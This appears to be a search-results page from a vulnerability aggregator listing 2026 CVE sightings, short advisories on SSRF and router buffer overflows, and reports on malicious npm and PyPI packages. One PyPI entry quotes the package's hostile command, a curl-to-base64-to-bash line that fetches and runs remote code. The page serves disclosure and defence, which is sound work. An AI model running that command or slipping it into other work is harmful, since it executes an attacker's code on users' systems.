112393 matches found
CVE-2026-48132
creationtimestamp| type| source ---|---|--- 2026-05-26 15:24:48+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mmrcgal5mv2i 2026-05-27 14:35:29+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m...
CVE-2026-48133
creationtimestamp| type| source ---|---|--- 2026-05-26 15:13:12+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbrjo2xd2v 2026-05-27 14:35:29+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m...
CVE-2026-40034
creationtimestamp| type| source ---|---|--- 2026-05-26 15:08:44+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbjkcv452o 2026-07-01 02:50:28+00:00| published-proof-of-concept| https://github.com/advisories/GHSA-f26g-jm89-4g65...
CVE-2026-8174
creationtimestamp| type| source ---|---|--- 2026-05-26 15:06:44+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbfxkzxh2n 2026-06-02 20:00:00+00:00| seen| https://jvn.jp/en/jp/JVN24733221 2026-06-25 20:01:11+00:00| seen|...
CVE-2026-40033
creationtimestamp| type| source ---|---|--- 2026-05-26 14:58:18+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mmrawudrnk2q 2026-05-27 17:07:07+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mmtym4x6z52p 2026-05-29 13:15:00+00:00| seen| https://t.me/bdufstecru/3206...
CVE-2026-43936 e107: Server-Side Request Forgery (SSRF) in the remote file fetcher
e107 is a content management system CMS. Prior to 2.3.4, you can access the local environment by specifying the URL of the local environment from "Image/File URL:" of "From a remote location" in "Media Manager" on the administrator screen. This vulnerability is fixed in 2.3.4...
CVE-2026-43936
e107 is a content management system CMS. Prior to 2.3.4, you can access the local environment by specifying the URL of the local environment from "Image/File URL:" of "From a remote location" in "Media Manager" on the administrator screen. This vulnerability is fixed in 2.3.4...
EUVD-2026-31847
e107 is a content management system CMS. Prior to 2.3.4, you can access the local environment by specifying the URL of the local environment from "Image/File URL:" of "From a remote location" in "Media Manager" on the administrator screen. This vulnerability is fixed in 2.3.4...
CVE-2026-41455
WeKan before 8.35 contains a server-side request forgery vulnerability in webhook integration URL handling where the URL scheme field accepts any string without protocol restriction or destination validation. Attackers who can create or modify integrations can set webhook URLs to internal network...
CVE-2026-9461
A security vulnerability has been detected in Edimax EW-7438RPn 1.31. Affected is the function formRadius of the file /goform/formRadius. The manipulation of the argument submit-url leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed publicly...
CVE-2026-9462
A vulnerability was detected in Edimax EW-7438RPn 1.31. Affected by this vulnerability is the function formWpsProxyEnable of the file /goform/formWpsProxyEnable. The manipulation of the argument submit-url results in stack-based buffer overflow. The attack can be launched remotely. The exploit is...
CVE-2026-41863
creationtimestamp| type| source ---|---|--- 2026-05-26 13:15:13+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mmr36kjewo2b...
CVE-2026-48095
creationtimestamp| type| source ---|---|--- 2026-05-26 12:30:49+00:00| seen| https://t.me/SEReborn/6386 2026-05-26 13:42:30+00:00| seen| https://bsky.app/profile/cybersecurity.page/post/3mmr4pdgnkl25 2026-05-26 17:09:01+00:00| seen| https://bsky.app/profile/blackhatnews.tokyo/post/3mmrialzedq2u...
MAL-2026-4803 Malicious code in @fhkry/baileys (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 75b00f1cbf8b88a31654d13fe812fd9201f0b0c92f9ddad31fea59376752a636 This package is a Baileys WhatsApp Web library fork that, on every WebSocket connection, silently performs WhatsApp newsletter actions on the...
Malicious code in @fhkry/baileys (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 75b00f1cbf8b88a31654d13fe812fd9201f0b0c92f9ddad31fea59376752a636 This package is a Baileys WhatsApp Web library fork that, on every WebSocket connection, silently performs WhatsApp newsletter actions on the...
CVE-2026-44410
creationtimestamp| type| source ---|---|--- 2026-05-26 11:19:31+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mmqupng7fv2r...
Malicious code in m-at-star-tools (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2 The package's sole consolescript m0scan m0scan/main.py:6-7 executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque...
Malicious code in wm-idp-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d2acf2a0d94ec1d2bada80f3251f5ecbea64d78ffadcab2b997b9708c2ae71cd package.json declares "node-fetch": "https://registry.ctzbg.com/wm-idp-sdk/node-fetch" — a direct HTTPS tarball URL hosted on a domain...